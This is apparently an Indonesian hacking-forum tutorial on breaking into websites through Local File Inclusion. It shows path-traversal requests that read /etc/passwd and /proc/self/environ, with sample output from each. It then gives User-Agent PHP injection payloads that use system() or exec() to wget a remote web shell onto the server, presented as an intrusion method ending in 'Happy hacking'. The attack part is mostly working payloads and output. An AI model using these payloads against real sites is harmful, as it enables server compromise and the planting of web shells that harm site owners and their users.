Attack LFI => /proc/self/environ

Salah satu cara Attacker(?penyusup?) dalam memasuki sebuah Server/Website.
adalah dengan LFI ( Local File Inclusion ).
Ciri Website dengan Vuln LFI adalah seperti berikut:

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Pertama kita coba dengan mengganti page1.php dengan ../

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kira-kira akan terdapat error seperti ini:
Code:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/ijoo/public_html/website.com/view.php on line 1337

sekarang kita coba melihat /etc/passwd nya.. dengan menambahkan ../../etc/passwd

contoh: [You must be registered and logged in to see this link.]

kita masih mendapatkan error yang sama tetapi yang kita request ( /etc/passwd ) tidak keluar.. Sad
Code:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/ijoo/public_html/website.com/view.php on line 1337

kita test kembali dengan menambahkan ../ pada target website.com

contoh: [You must be registered and logged in to see this link.]
yes sukses !!
Code:

root0:0:root:/root:/bin/bash bin1:1:bin:/bin:/sbin/nologin daemon2:2:daemon:/sbin:/sbin/nologin adm3:4:adm:/var/adm:/sbin/nologin lp4:7:lp:/var/spool/lpd:/sbin/nologin sync5:0:sync:/sbin:/bin/sync shutdown6:0:shutdown:/sbin:/sbin/shutdown halt7:0:halt:/sbin:/sbin/halt mail8:12:mail:/var/spool/mail:/sbin/nologin news9:13:news:/etc/news: uucp10:14:uucp:/var/spool/uucp:/sbin/nologin operator11:0:operator:/root:/sbin/nologin games12games:/usr/games:/sbin/nologin test13:30:test:/var/test:/sbin/nologin ftp14:50:FTP User:/var/ftp:/sbin/nologin nobody99:99:Nobody:/:/sbin/nologin


tambahkan ../../ sampe kira-kira seperlunya aja?

jgn terlalu panjang? kira-kira maximal 10x ..

Setelah itu kita Cek /proc/self/environ bisa diakses apa tidak?

dengan cara mengganti /etc/passwd dengan /proc/self/environ

contoh: [You must be registered and logged in to see this link.]

Kalo keluar seperti dibawah ini.. berarti /proc/self/environ bisa diakses?
Code:

DOCUMENT_ROOT=/home/ijoo/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/Fenviron SCRIPT_FILENAME=/home/ijoo/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at [You must be registered and logged in to see this link.] Port 80

Sekarang langkah berikutnya memasukan Code injection ( php-Shell Code )

Download Addon Mozilla Tamper Data untuk mempermudah

Dengan Tamper Data kita bisa mengubah User-Agent.Start di Firefox:

contoh: [You must be registered and logged in to see this link.]

Buka Tamper > start Tamper > ganti User-Agent filed dengan :
Code:

<?system('wget [You must be registered and logged in to see this link.] -O shell.php');?>

atau
Code:

<?exec('wget [You must be registered and logged in to see this link.] -O shell.php');?>

Setelah itu coba buka

contoh: [You must be registered and logged in to see this link.]

Kalo shell kita terbuka... berarti sukses ^_^
Happy hacking...

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